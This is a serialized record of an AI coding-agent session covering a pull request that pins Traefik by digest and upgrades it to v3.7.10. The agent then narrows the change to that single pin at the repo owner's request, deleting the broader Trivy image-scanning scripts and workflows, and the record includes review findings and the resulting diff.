sub-agents can spawn their own sub-agents.\nAll agents in the team, including the agents that you can assign tasks to, are equally intelligent and capable, and have access to the same set of tools.\n\nYou can use `spawn_agent` to create a new agent, `followup_task` to give an existing agent a new task and trigger a turn, and `send_message` to pass a message to a running agent without triggering a turn.\nChild agents can also spawn their own sub-agents.\nYou can decide how much context you want to propagate to your sub-agents with the `fork_turns` parameter.\n\nYou will receive messages in the analysis channel in the form:\n```\nMessage Type: MESSAGE | FINAL_ANSWER\nTask name: \nSender: \nPayload:\n\n```\nThey may be addressed as to=/root\n\nNote that collaboration tools cannot be called from inside `functions.exec`. Call `spawn_agent`, `send_message`, `followup_task`, `wait_agent`, `interrupt_agent`, and `list_agents` only as direct tool calls using the recipient shown in their tool definitions, such as `to=functions.collaboration.spawn_agent`, since they are intentionally absent from the `functions.exec` `tools.*` namespace. Available tools in `functions.exec` are explicitly described with a `tools` namespace in the developer message.\n\nAll agents share the same directory. In detail:\n- All agents have access to the same container and filesystem as you.\n- All agents use the same current working directory.\n- As a result, edits made by one agent are immediately visible to all other agents.\n\nThere are 4 available concurrency slots, meaning that up to 4 agents can be active at once, including you.",{"_427":880,"_406":407,"_429":413},{"_430":881,"_432":-5,"_45":-5,"_434":882,"_436":-5,"_100":870,"_96":438},[883,884],{"_439":413},{"_49":886,"_96":462},{"_49":885,"_96":462},"\n## Skills\nA skill is a set of instructions provided through a `SKILL.md` source. Below is the list of skills that can be used. Each entry includes a name, description, and source locator. `file` locators are on the host filesystem, `environment resource` locators are owned by an execution environment, `orchestrator resource` locators are opaque non-filesystem resources, and `custom resource` locators use their provider's access mechanism.\n### Available skills\n- imagegen: Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output should be a bitmap asset rather than repo-native code or vector. Do not use when the task is better handled by editing existing SVG/vector/code-native assets, extending an established icon or logo system, or building the visual directly in HTML/CSS/canvas. (file: /opt/codex/skills/.system/imagegen/SKILL.md)\n- openai-docs: Use when the user asks how to build with OpenAI products or APIs, asks about Codex itself or choosing Codex surfaces, needs up-to-date official documentation with citations, help choosing the latest model for a use case, or model upgrade and prompt-upgrade guidance; use OpenAI docs MCP tools for non-Codex docs questions, use the Codex manual helper first for broad Codex self-knowledge, and restrict fallback browsing to official OpenAI domains. (file: /opt/codex/skills/.system/openai-docs/SKILL.md)\n- plugin-creator: Create and scaffold plugin directories for Codex with a required `.codex-plugin/plugin.json`, optional plugin folders/files, valid manifest defaults, and personal-marketplace entries by default. Use when Codex needs to create a new personal plugin, add optional plugin structure, generate or update marketplace entries for plugin ordering and availability metadata, or update an existing local plugin during development with the CLI-driven cachebuster and reinstall flow. (file: /opt/codex/skills/.system/plugin-creator/SKILL.md)\n- skill-creator: Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Codex's capabilities with specialized knowledge, workflows, or tool integrations. (file: /opt/codex/skills/.system/skill-creator/SKILL.md)\n- skill-installer: Install Codex skills into $CODEX_HOME/skills from a curated list or a GitHub repo path. Use when a user asks to list installable skills, install a curated skill, or install a skill from another repo (including private repos). (file: /opt/codex/skills/.system/skill-installer/SKILL.md)\n","\nFilesystem sandboxing defines which files can be read or written. `sandbox_mode` is `danger-full-access`: No filesystem sandboxing - all commands are permitted. Network access is enabled.\nApproval policy is currently never. Do not provide the `sandbox_permissions` for any reason, commands will be rejected.\n","turn/started",{"_406":407,"_91":889},{"_107":-5,"_45":413,"_414":890,"_416":417,"_418":419,"_420":891},[],"inProgress",{"_420":893,"_406":407},{"_894":895,"_96":896},"activeFlags",[],"active","thread/started",{"_899":900},"thread",{"_901":-5,"_902":-5,"_903":904,"_905":419,"_472":473,"_906":18,"_907":-5,"_908":-5,"_909":-5,"_910":911,"_45":407,"_912":913,"_185":-5,"_914":-5,"_165":915,"_916":203,"_917":419,"_918":407,"_478":919,"_420":920,"_921":-5,"_81":922,"_923":419},"agentNickname","agentRole","cliVersion","0.144.0-alpha.4","createdAt","ephemeral","extra","forkedFromId","gitInfo","historyMode","legacy","modelProvider","openai","parentThreadId","/opt/codex/sessions/2026/08/02/rollout-2026-08-02T05-28-20-019fc0f1-ced3-7430-b517-0f8062b0fc18.jsonl","preview","recencyAt","sessionId","vscode",{"_96":424},"threadSource",[],"updatedAt",[],"messages",[927],{"_45":928,"_929":930,"_931":932,"_933":932,"_430":934,"_420":935,"_432":-5,"_936":35,"_937":938,"_939":940,"_941":-5},"7f9e0c6d-7289-4993-82fd-1b0c9f4a096e","author",{"_100":329,"_185":-5,"_937":950},"create_time",1785648499.718579,"update_time",{"_946":49,"_947":948},"finished_successfully","weight","metadata",{"_942":943},"recipient","all","channel","l1239dk1",{"_944":945},"inline_comments",[],"content_type","parts",[949],"Closing in favour of a much smaller change — see the replacement PR.\n\nScope call from the repo owner: just upgrade and pin Traefik. The Trivy scanning of third-party images, the scheduled image audit, the enumerator script and the ignore file are all dropped as disproportionate to the fix.\n\nRecording what was verified here, since it stands regardless of the machinery:\n\n- `traefik:v3.5` → **57 fixable HIGH/CRITICAL**; `traefik:v3.7.10` → **0**. Matches the issue's numbers.\n- v3.7.10's *default* path handling is identical to v3.5.6's: `sanitizePath` has defaulted true since v3.3.6, and the v3.6.7 `http.encodedCharacters.*` knobs all default to `true`. The router rule here is `Host(…)` only, so nothing routes on the path and no split view is reachable.\n- The Postgres pin carries 15 fixable HIGH/CRITICAL, all Go stdlib in `/usr/local/bin/gosu`, and the pinned digest is already the newest published `18-trixie` — there is nothing to bump to. Noted for the record; not actioned.\n\n@codex thanks — all three of your findings were real and were fixed here before the scope change; they died with the files they were against, so no action needed on the replacement PR.\nfix(deploy): pin Traefik by digest, bump to v3.7.10, and scan every image this repo pins (#369)\n\nCloses #369.\n\n## The finding\n\n`deploy/docker-compose.yml` pinned Postgres by immutable digest but Traefik by `traefik:v3.5` — a **release-branch** tag, which upstream silently stops moving once attention shifts to the next minor. Nothing scanned it either: `ci.yml`'s Trivy step passes `image-ref: cluckwork-api:ci`, the application image only.\n\nMeasured locally with Trivy (`--severity HIGH,CRITICAL --ignore-unfixed`):\n\n| pin | fixable HIGH/CRITICAL |\n|---|---|\n| `traefik:v3.5` (→ v3.5.6, 2025-11-07) | **57** |\n| `traefik:v3.7.10` (2026-07-31) | **0** |\n\nMatches the issue's numbers exactly. The propagation is the real cost: the deploy repo read its production Traefik version out of this file.\n\n## What changed\n\n**1. Pinned + bumped.** `traefik:v3.7.10@sha256:617c253c…`, digest resolved from the registry directly (`docker-content-digest`), not only the Hub API.\n\n**2. Behaviour checked before bumping** (issue's *verify*, now exercised). `sanitizePath` has defaulted to `true` since v3.3.6, and the `http.encodedCharacters.*` knobs introduced in v3.6.7 **all default to `true`** (permissive) — so v3.7.10's *default* path handling is identical to v3.5.6's. This stack's router rule is `Host(…)` only: no path matching, no path-rewriting middleware, so nothing routes on the path and there is no traefik/app split view to open. The docs' split-view warning applies when you opt those knobs to `false` in front of a backend that decodes encoded reserved characters — noted in the compose comment for whoever adds path-based routing later.\n\n**3. Nothing scanned it → now everything is.** `.github/scripts/compose-images.mjs` (44 self-tests, `node --test`, wired into the `web` job beside the existing two) enumerates every third-party pin in `deploy/`, **refuses any ref that is not `name:tag@sha256:…`**, and emits a matrix that `ci.yml` Trivy-scans per PR. Three things in it are load-bearing:\n\n- It reads `docker compose config --format json`, never raw YAML — same rule `tools/simulation/verify-harness.sh` documents at length: assert the resolved value, not a proxy for it.\n- It **refuses an empty set**. A scan job over zero images is *green*, and that green reads as \"all pins clean\".\n- It cross-checks `image:` counts against the source. Without `--profile '*'` the render drops the profile-gated `traefik` **silently** and exits 0 listing Postgres alone — I reproduced that before adding the check, and the check now catches it.\n\n**4. Nothing proposed a bump → `docker-compose` Dependabot ecosystem for `/deploy`.** This is the root cause. The `docker` ecosystem reads Dockerfiles and never looks at compose files, so `deploy/` had *no* coverage. A digest pin is inert by construction — it never floats to a fix — so pinning without a proposer just converts \"silently drifts\" into \"silently rots\". Also covers the Postgres pin, which had the same gap.\n\n**5. Build-time scanning cannot answer \"still clean\" → `.github/workflows/image-audit.yml`, daily.** A new advisory arrives with no commit to fire on; that is the actual mechanism here. Scans the third-party pins *and* the **published application image**, pulled from GHCR rather than rebuilt (a rebuild takes ~20 min and scans bytes that were never deployed; #351's premise is that the published digest *is* the artifact). It walks back up to 25 commits because a `[skip ci]` legitimately leaves `main` HEAD unpublished, and it scans **by digest**, not by the `:sha-` tag it looked the digest up under — that tag is mutable by anyone with `packages: write`, the same reason release promotion refuses to trust it.\n\n## The one judgement call worth your attention\n\nThe **existing Postgres pin has 15 fixable HIGH/CRITICAL**, so a blocking third-party gate would have been red on arrival. They are all Go stdlib CVEs in `/usr/local/bin/gosu` (the helper the image uses once at start to drop privileges), and the pinned digest **is** the newest published `18-trixie` — there is nothing to bump to.\n\n`ignore-unfixed: true` doesn't cover this: it asks whether the *package* has a fix, but the actionable unit for a pin is the *image*. So `.github/trivyignore.yaml` carries **dated, per-CVE, path-scoped** exceptions with a required `expired_at` (2026-11-01) — the same escape-hatch contract as `.github/security-exceptions.json`, and deliberately **not** applied to the application image's own scan, so nothing here can mask a finding in bytes we build. Listed per-CVE rather than by wildcard on purpose: a *new* gosu finding is not covered and will go red.\n\nSay the word if you'd rather demote the third-party scan to advisory instead — I chose the blocking gate + dated exception because demoting it would also stop blocking the case the gate exists for, which is #369 itself.\n\n## Verification\n\n- `node --test .github/scripts/compose-images.test.mjs` → **44/44 pass**\n- `actionlint` (via docker) over all workflows → **clean**\n- Enumeration end-to-end, as the composite action runs it → both pins found, labelled `deploy/docker-compose.yml:traefik`\n- **Mutation, pin gate:** put `traefik:v3.5` back in the real file → gate exits 1 naming the file and service. Restored → exits 0.\n- **Mutation, profile drop:** render without `--profile '*'` → cross-check exits 1 (\"1 service(s) were dropped\"). Before the cross-check existed this exact input exited 0.\n- **Mutation, ignore file:** it clears Postgres (exit 0) while `traefik:v3.5` **still fails red through it** (exit 1, 55 CVE lines) — the exception is scoped, not a blanket mute.\n- `docker compose --profile prod -f deploy/docker-compose.yml config -q` → renders clean.\n\nNot touched, per the issue: the deploy repo's manifest and its own daily scan.\n@codex please review. Highest-value areas:\n\n1. `.github/scripts/compose-images.mjs` — this decides WHICH images get scanned, so a defect in it produces a *green* run over a smaller set rather than a red one. Specifically: is the `source=rendered` pairing + `image:` count cross-check actually sufficient to detect a render that silently dropped a service, or is there a shape where counts agree but a pin still goes unscanned?\n2. `.github/trivyignore.yaml` — 15 path-scoped exceptions for Go stdlib CVEs in postgres's `gosu`. Is the scoping tight enough that it cannot mask anything else, and is per-CVE-with-expiry the right call vs. demoting the third-party scan to advisory?\n3. `.github/workflows/image-audit.yml` — the 25-commit walk-back and the digest resolution before scanning. Any way the app-image job scans something other than what it reports, or reports a false green when no image exists?\n4. Injection surface: `matrix.image.*` originates in a compose file, which is contributor-controlled on a fork PR. I route both values through `env:` and constrain service names in the script — is there a path I missed?\n## CodeQL / Inefficient regular expression\n\nThis part of the regular expression may cause exponential backtracking on strings starting with '!/' and containing many repetitions of '!/'.\n\n[Show more details](https://github.com/mforce/cluckwork/security/code-scanning/119)\n**_{_{![P1 Badge](https://img.shields.io/badge/P1-orange?style=flat)}} Check out the repository before loading the ignore file**\n\nBoth `third-party-images` jobs start directly with `trivy-action`, but `trivyignores` is a workspace-relative path and GitHub Actions jobs do not share the checkout performed by `image-pins`. Consequently the scanner cannot load these exceptions—or treats them as absent—so the intended Postgres scan fails on the 15 acknowledged `gosu` findings instead of producing a vulnerability verdict. Add a checkout step to this matrix job and its counterpart in `ci.yml` before invoking Trivy.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.\n**_{_{![P1 Badge](https://img.shields.io/badge/P1-orange?style=flat)}} Discover every compose file under deploy**\n\nThe glob covers only `deploy/docker-compose*.yml`, so a valid compose file named `compose.yml`, `stack.yml`, or `docker-compose.foo.yaml` is never rendered, paired, pin-validated, or emitted into the scan matrix; CI remains green even if that file introduces an unpinned or vulnerable image. Enumerate all supported compose filenames/extensions under `deploy/` rather than relying on this narrow naming convention.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.\n**_{_{![P2 Badge](https://img.shields.io/badge/P2-yellow?style=flat)}} Compare image-bearing service identities instead of counts**\n\nThe completeness guard compares only cardinality, and the raw regex misses valid inline mappings such as `db: { image: postgres:... }`. If that included service is written inline while another normally formatted image service is silently omitted from the render—for example after the load-bearing profile flag is removed—the missed raw declaration and dropped rendered declaration cancel out, the counts agree, and the omitted pin goes unscanned. Extract the source service identities with a YAML-aware check and compare them with the rendered identities.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.\n\n### 💡 Codex Review\n\nHere are some automated review suggestions for this pull request.\n\n**Reviewed commit:** `77a1400c7e`\n \n\n

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\nAddressed in 31f27a0.\n\nCorrect and reproduced: the scan jobs pull their image from a registry, so they had no `actions/checkout`, and Trivy exited 1 with `ERROR: cannot find ignorefile '.github/trivyignore.yaml'`. Both `third-party-images` jobs now check out first.\n\nYour finding also exposed a second defect I've fixed alongside it: the `if: failure()` step reported this as \"traefik:v3.7.10 has fixable HIGH/CRITICAL findings\" — false, the pin is current and scans clean — which would have sent a reader off to bump a digest that had nothing wrong with it. A step that fails for two reasons must not name one of them. It now states only that the scan failed, lists the possibilities, and leaves the diagnosis to the scan output.\n\nVerified: both Trivy scan jobs pass on CI.\nAddressed in 1e5ee46. Agreed — the glob was a naming convention masquerading as a guarantee.\n\nDiscovery is now by **content**: any file under `deploy/` (maxdepth 1, `*.yml`/`*.yaml`) declaring a top-level `services:` key is rendered, paired and scanned. A candidate that then fails to render is a hard error, never a skip, and finding zero compose files fails loudly rather than reporting success over an empty set.\n\nVerified: dropped a `deploy/stack.yml` containing `image: redis:7` into the tree and re-ran the enumerator — it is discovered (3 files instead of 2) and refused:\n\n```\nthird-party image(s) are not pinned to an immutable digest:\n redis:7 (deploy/stack.yml:cache)\n```\n\nUnder the old glob that file was invisible.\nAddressed in 1e5ee46 — and you were right that this needed a design change, not a better regex.\n\nI did not harden the parser. The count check violated the rule the file itself states (don't hand-parse a format the owning tool will answer for you), so I removed it entirely. `docker compose config --profiles` reports every profile a file **declares**, independently of which are enabled, and the resolved document records each service's own `profiles`. The check is now: **every declared profile must be carried by at least one rendered service.** Omit `--profile '*'` and `prod` is declared while nothing carries it, so the render is refused.\n\nThat is exact rather than heuristic: no counting, so no cancellation; no source-text parsing, so the inline-mapping hole cannot exist; and it is unaffected by how the YAML is written. It also stays sound when a service lists several profiles, since compose reports the whole list.\n\nEach input is now one bundle (`{source, declaredProfiles, config}`) instead of a `source=rendered` pair. `parseBundle` **refuses** a missing `declaredProfiles` rather than defaulting to `[]` — defaulting would turn the check into a no-op that still reports success, which is the same false-green shape.\n\nVerified both directions:\n- Rendering the real `deploy/docker-compose.yml` without `--profile '*'` → refused, naming the profile.\n- A regression test reproducing your exact scenario (a dropped profile-gated service alongside an extra image-bearing service, which the count check would have let through) → refused.\n- 43/43 self-tests pass.\n@codex all three findings are addressed — please re-review.\n\n- **P1 checkout before loading the ignore file** — `31f27a0`. Reproduced exactly (`cannot find ignorefile`); both scan jobs now check out. Also fixed the failure message that misreported it as CVEs in Traefik.\n- **P1 discover every compose file under deploy** — `1e5ee46`. Discovery is by content (top-level `services:` key) rather than a `docker-compose*.yml` glob. Verified with a `deploy/stack.yml` pinning `redis:7`: discovered and refused; invisible under the old glob.\n- **P2 compare identities instead of counts** — `1e5ee46`. Removed the count check rather than hardening its regex. Completeness is now \"every profile the file **declares** (`docker compose config --profiles`) must be carried by some rendered service\" — no counting, no source-text parsing, so neither the cancellation nor the inline-mapping hole can exist. Regression test covers your exact scenario.\n\nOne thing worth a look on re-review, since it is the part I'd most like challenged: `parseBundle` now refuses a bundle missing `declaredProfiles` instead of defaulting to `[]`, because a default would silently turn the completeness check into a no-op that still reports success. If there is a path where a bundle can be produced without that field and still reach the scan, that is a false green and I'd want to know.\n\nCI green on the previous head; re-running now.",{},"created",1785648600.984094,"Completing the task","event_type","info",{"_96":438,"_100":97,"_430":1099},{"_96":982,"_983":984},{"_96":959,"_960":541,"_961":962,"_963":964,"_965":-5},"pr","pr_title","pr_message","### Motivation\n\n- Apply the repository owner's scope decision to restrict the original wide-scope PR to a minimal, low-risk fix that upgrades Traefik and pins it by digest only.\n\n### Description\n\n- Replace the Traefik service image in `deploy/docker-compose.yml` with the pinned immutable reference `traefik:v3.7.10@sha256:617c253c5d960e257ec153d582cc62f191461baba6863bd6b498ae062d3d5c19`.\n- Remove the broader third-party image enumerator, CI scan wiring, scheduled audit workflow, Trivy ignore file, and related scripts/config that implemented the larger scanning audit (deleted `.github/actions/third-party-image-pins`, `.github/scripts/compose-images.mjs`, `.github/scripts/compose-images.test.mjs`, `.github/trivyignore.yaml`, and the `image-audit.yml` workflow, plus reverted the compose-related Dependabot additions).\n- Commit created as `572a3d8` with message `fix(deploy): narrow Traefik upgrade to pinned image`.\n\n### Testing\n\n- Ran `git diff --cached --check` which passed before the commit.\n- Verified repository state with `git status` and created the commit successfully (`git show` reflects the single-line change and deletions).\n- Attempted `docker compose --profile prod -f deploy/docker-compose.yml config -q` but Docker is not available in this environment, so an executable compose render could not be performed here.","output_diff",{"_96":963,"_966":473,"_132":133,"_967":-5,"_328":968,"_969":970,"_971":334,"_972":35,"_973":974,"_975":976,"_977":978},"pre_apply_patch","repo_id","preapply_patch_base_commit_sha","diff --git a/.github/actions/third-party-image-pins/action.yml b/.github/actions/third-party-image-pins/action.yml\ndeleted file mode 100644\nindex 903e655a95c8d804226a63c9a423eef1493da67f..0000000000000000000000000000000000000000\n--- a/.github/actions/third-party-image-pins/action.yml\n+++ /dev/null\n@@ -1,102 +0,0 @@\n-name: Third-party image pins\n-description: >-\n- Enumerate the third-party container images pinned in deploy/, verify every one\n- is pinned to an immutable digest, and emit them as a GitHub Actions matrix.\n-\n-# #369 — used by BOTH ci.yml (does this PR pin something vulnerable?) and\n-# image-audit.yml (are the pins we already merged STILL clean?). Those answer\n-# different questions and neither substitutes for the other, but they enumerate\n-# the images identically — so the enumeration lives here once. A local composite\n-# action carries no supply-chain exposure: it is this repository's own tree,\n-# checked out by the caller, not a third-party action that needs a SHA pin.\n-\n-outputs:\n- matrix:\n- description: JSON array of { ref, name, usedBy } — feed to fromJSON() as a matrix.\n- value: ${{ steps.pins.outputs.matrix }}\n-\n-runs:\n- using: composite\n- steps:\n- - name: Setup Node\n- uses: actions/setup-node@v7\n- with:\n- node-version: 26\n-\n- # `docker compose config` refuses to render when a service's `env_file:` is\n- # missing, and deploy/.env is gitignored (it holds real values). The example\n- # file is the committed stand-in; nothing here reads a VALUE out of it, only\n- # the `image:` keys, which carry no interpolation.\n- - name: Stage the example env so compose can render\n- shell: bash\n- run: |\n- set -euo pipefail\n- cp deploy/.env.example deploy/.env\n-\n- # --profile '*' is LOAD-BEARING. `traefik` sits behind `profiles: [\"prod\"]`,\n- # and a render without it omits the service silently — the enumeration then\n- # succeeds over a smaller set, leaving that pin unscanned while reporting\n- # green. Verified: it exits 0 listing Postgres alone. The script cross-checks\n- # it (every DECLARED profile must be carried by some rendered service), so\n- # this is guarded rather than merely commented, but do not drop the flag.\n- #\n- # DISCOVERY is by content, not by filename (PR #379 review). An earlier\n- # version globbed `deploy/docker-compose*.yml`, which silently covers nothing\n- # named `compose.yml`, `stack.yml` or `docker-compose.foo.yaml` — a new file\n- # could introduce an unpinned image and CI would stay green. Anything under\n- # deploy/ that declares a top-level `services:` key is a compose file and is\n- # rendered; a candidate that then fails to render is a hard error, never a\n- # skip.\n- - name: Render the compose files\n- shell: bash\n- run: |\n- set -euo pipefail\n- mkdir -p /tmp/compose-render\n- bundles=()\n- while IFS= read -r src; do\n- grep -qE '^services:' \"$src\" || continue\n- out=\"/tmp/compose-render/$(printf '%s' \"$src\" | tr '/' '_').json\"\n-\n- # Both halves come from compose, so neither is a hand-read of YAML.\n- # `config --profiles` reports every profile the file DECLARES,\n- # independently of which are enabled — that is what makes it able to\n- # detect its own omission.\n- docker compose --profile '*' -f \"$src\" config --format json > \"$out.config\"\n- docker compose -f \"$src\" config --profiles > \"$out.profiles\"\n-\n- SRC=\"$src\" node -e '\n- const fs = require(\"fs\");\n- const out = process.argv[1];\n- const profiles = fs.readFileSync(out + \".profiles\", \"utf8\")\n- .split(\"\\n\").map((s) => s.trim()).filter(Boolean);\n- fs.writeFileSync(out, JSON.stringify({\n- source: process.env.SRC,\n- declaredProfiles: profiles,\n- config: JSON.parse(fs.readFileSync(out + \".config\", \"utf8\")),\n- }));\n- ' \"$out\"\n- bundles+=(\"$out\")\n- done < <(find deploy -maxdepth 1 -type f \$ -name '*.yml' -o -name '*.yaml' \$ | sort)\n-\n- if [[ ${#bundles[@]} -eq 0 ]]; then\n- echo \"::error::no compose files found under deploy/. Either the layout moved or this\" >&2\n- echo \"discovery is now covering nothing while reporting success — fix it, do not delete it.\" >&2\n- exit 1\n- fi\n- printf '%s\\n' \"${bundles[@]}\" > /tmp/compose-render/bundles.txt\n- echo \"Compose files discovered:\"\n- sed 's/^/ /' /tmp/compose-render/bundles.txt\n-\n- - name: Enumerate and verify the pins\n- id: pins\n- shell: bash\n- run: |\n- set -euo pipefail\n- mapfile -t bundles < /tmp/compose-render/bundles.txt\n- matrix=\"$(node .github/scripts/compose-images.mjs --format matrix \"${bundles[@]}\")\"\n- printf 'matrix=%s\\n' \"$matrix\" >> \"$GITHUB_OUTPUT\"\n- printf 'Third-party images to scan:\\n%s\\n' \\\n- \"$(printf '%s' \"$matrix\" | node -e '\n- let s = \"\"; process.stdin.on(\"data\", d => s += d).on(\"end\", () => {\n- for (const i of JSON.parse(s)) console.log(` ${i.name} (${i.usedBy})`);\n- });')\"\ndiff --git a/.github/dependabot.yml b/.github/dependabot.yml\nindex 56c3316c94ec3dfdfe9c853a5428d3092a605d6a..0e5c69d6c0cbc93224c45e8caf7b77cf11648293 100644\n--- a/.github/dependabot.yml\n+++ b/.github/dependabot.yml\n@@ -74,58 +74,25 @@ updates:\n open-pull-requests-limit: 5\n commit-message:\n prefix: \"chore(deps)\"\n groups:\n nuget-minor-patch:\n patterns: [\"*\"]\n update-types: [\"minor\", \"patch\"]\n \n # #267 — the Dockerfile (src/Cluckwork.Api/Dockerfile) pins its three base\n # images (node, .NET sdk, .NET aspnet) to immutable @sha256 digests, so a\n # rebuild reproduces the exact bytes CI's Trivy scan cleared. A pinned digest\n # never floats, so without this it silently rots past the next base-image\n # security fix. Dependabot opens the digest-bump PR; the Trivy gate in ci.yml\n # then confirms the new base is clean. Grouped so the three bump together as one\n # reviewable PR; security fixes still arrive ungrouped (Dependabot's default).\n - package-ecosystem: \"docker\"\n directory: \"/src/Cluckwork.Api\"\n schedule:\n interval: \"weekly\"\n open-pull-requests-limit: 5\n commit-message:\n prefix: \"chore(docker)\"\n groups:\n docker-base-images:\n patterns: [\"*\"]\n-\n- # #369 — the OTHER half of the container surface, and the half that had no\n- # coverage at all. The `docker` ecosystem above reads Dockerfiles; it does not\n- # look at compose files, so `deploy/docker-compose.yml` was proposed to by\n- # nobody. Its Postgres pin was a digest and its Traefik pin was `v3.5` — a\n- # release-branch tag upstream had stopped moving — and it sat there for eight\n- # months accumulating 57 fixable HIGH/CRITICAL findings, while the deploy repo\n- # took its production Traefik version out of that same file.\n- #\n- # A digest pin is the right call — it is what makes a pull reproducible and\n- # ties the running bytes to the scanned bytes — but it is inert by\n- # construction: it never floats to a fix. Pinning without a bump proposer just\n- # converts \"silently drifts\" into \"silently rots\". This closes the loop:\n- # Dependabot opens the digest bump, and the third-party image scan in ci.yml +\n- # image-audit.yml confirms the new digest is clean.\n- #\n- # Deliberately a SEPARATE ecosystem entry rather than another directory on the\n- # `docker` one above: GitHub treats docker-compose as its own ecosystem, and a\n- # base-image bump (which rebuilds and reships the application) is a different\n- # review from a reference-stack sidecar bump.\n- - package-ecosystem: \"docker-compose\"\n- directory: \"/deploy\"\n- schedule:\n- interval: \"weekly\"\n- open-pull-requests-limit: 5\n- commit-message:\n- prefix: \"chore(docker)\"\n- groups:\n- # docker-compose.yml and docker-compose.dev.yml pin the SAME Postgres\n- # digest. Ungrouped, that is two PRs which have to land together or leave\n- # the two files disagreeing about which bytes \"the dev database\" means.\n- deploy-compose-images:\n- patterns: [\"*\"]\ndiff --git a/.github/scripts/compose-images.mjs b/.github/scripts/compose-images.mjs\ndeleted file mode 100644\nindex e295000e503cfcc1f5a47bd9ea425a5f64d8be1a..0000000000000000000000000000000000000000\n--- a/.github/scripts/compose-images.mjs\n+++ /dev/null\n@@ -1,308 +0,0 @@\n-#!/usr/bin/env node\n-// #369 — enumerate the THIRD-PARTY container images this repo pins, so CI can\n-// scan every one of them and fail on a pin that is not immutable.\n-//\n-// Why this exists at all: `deploy/docker-compose.yml` pinned Postgres by digest\n-// and Traefik by `v3.5` — a mutable tag on a release branch upstream had stopped\n-// updating. Nothing noticed for eight months, because nothing scanned it: the\n-// Trivy step in ci.yml passes `image-ref: cluckwork-api:ci`, which is the\n-// application image only. The deploy repo then read its production Traefik\n-// version out of that file, so a stale reference pin became a production digest\n-// carrying 57 fixable HIGH/CRITICAL findings.\n-//\n-// ================== WHY IT READS RESOLVED JSON, NOT YAML ==================\n-//\n-// Input is the output of `docker compose config --format json`, never the raw\n-// compose file. Hand-parsing YAML here would be the same class of mistake as\n-// grepping a compose file for an environment key (tools/simulation/verify-harness.sh\n-// documents that one at length): it asserts a proxy for the thing rather than\n-// the thing. Compose is the authority on what a service resolves to, including\n-// `extends`, merged override files, and interpolation.\n-//\n-// The caller MUST render that JSON with `--profile '*'`. `traefik` sits behind\n-// `profiles: [\"prod\"]`, and without it Compose omits the service ENTIRELY — the\n-// script then sees a well-formed document with the stale pin simply absent and\n-// exits 0. That is not theoretical: rendering deploy/docker-compose.yml without\n-// the flag prints Postgres alone and succeeds, with Traefik unscanned. It is the\n-// same false green the whole issue is about, one layer up.\n-//\n-// `assertNonEmpty` cannot catch it — the set is not empty, just short. So each\n-// input bundles the render with the source's DECLARED PROFILE LIST, and\n-// `assertProfilesFullyRendered` requires every declared profile to be\n-// represented by at least one rendered service. Omit the flag and `prod` is\n-// declared while no rendered service carries it, so the render is refused.\n-//\n-// That check is exact, and deliberately replaces an earlier one that compared\n-// `image:` COUNTS between the source text and the render (PR #379 review). Two\n-// defects, one fatal: a count cannot distinguish \"one service dropped\" from\n-// \"one dropped and one gained\", and the line regex that produced the source\n-// count missed an inline mapping (`db: {image: postgres:…}`), so an undercount\n-// on one side could CANCEL a dropped service on the other and the guard would\n-// pass. The lesson is the same one this file already states about YAML: do not\n-// hand-parse a format when the tool that owns it will answer the question.\n-// `docker compose config --profiles` reports every profile declared in a file\n-// regardless of which are enabled, so both sides now come from compose.\n-//\n-// Input is one JSON bundle per compose file:\n-// { \"source\": \"deploy/docker-compose.yml\", \"declaredProfiles\": [\"prod\"],\n-// \"config\": }\n-//\n-// Usage:\n-// node .github/scripts/compose-images.mjs [--format list|matrix] ...\n-//\n-// Exit 0 with the images on stdout, or exit 1 with the reason on stderr.\n-\n-// A ref must carry BOTH a human-readable tag and an immutable digest:\n-// traefik:v3.7.10@sha256:617c...\n-// The digest is what makes the pull reproducible and what ties the running\n-// bytes to the bytes CI scanned. The tag is what makes the file reviewable —\n-// `@sha256:617c...` alone tells a reader nothing about how stale it is, which\n-// is precisely the failure mode this whole change is about. Requiring both is\n-// how `db` was already written, so this codifies the existing good pin rather\n-// than inventing a new convention.\n-const PINNED_REF = /^(?[^\\s:@]+(?::\\d+)?(?:\\/[^\\s:@]+)*):(?[\\w][\\w.-]*)@sha256:(?[0-9a-f]{64})$/;\n-\n-/**\n- * Third-party images from one or more resolved compose documents.\n- *\n- * A service with a `build:` section is FIRST-PARTY — its bytes come from this\n- * repo's Dockerfile, and ci.yml already builds and scans them. Compose lets a\n- * service carry `image:` alongside `build:` (it names the build output), so the\n- * discriminator is the presence of `build`, never the presence of `image`.\n- */\n-export function collectThirdPartyImages(documents) {\n- const bySource = new Map();\n-\n- for (const { path, config } of documents) {\n- const services = config?.services;\n- if (services === undefined || services === null) {\n- throw new Error(`${path}: resolved compose document has no \"services\" key`);\n- }\n- if (typeof services !== 'object' || Array.isArray(services)) {\n- throw new Error(`${path}: \"services\" is not an object`);\n- }\n-\n- for (const [service, spec] of Object.entries(services)) {\n- // A service name travels into a GitHub Actions matrix and out into a log\n- // line, and on a fork pull_request the compose file is the contributor's\n- // content. Compose's own grammar for a service name is [A-Za-z0-9._-]+,\n- // so this rejects nothing legitimate — it just refuses to be the thing\n- // that carries a shell metacharacter downstream.\n- if (!/^[A-Za-z0-9._-]+$/.test(service)) {\n- throw new Error(\n- `${path}: service name ${JSON.stringify(service)} is outside compose's ` +\n- 'own [A-Za-z0-9._-]+ grammar — refusing to pass it downstream',\n- );\n- }\n- if (spec === null || typeof spec !== 'object') {\n- throw new Error(`${path}: service \"${service}\" is not an object`);\n- }\n- if (spec.build) continue; // built here, scanned by ci.yml's image job\n- const image = spec.image;\n- if (image === undefined || image === null || String(image).trim() === '') {\n- throw new Error(\n- `${path}: service \"${service}\" has neither \"build\" nor \"image\" — 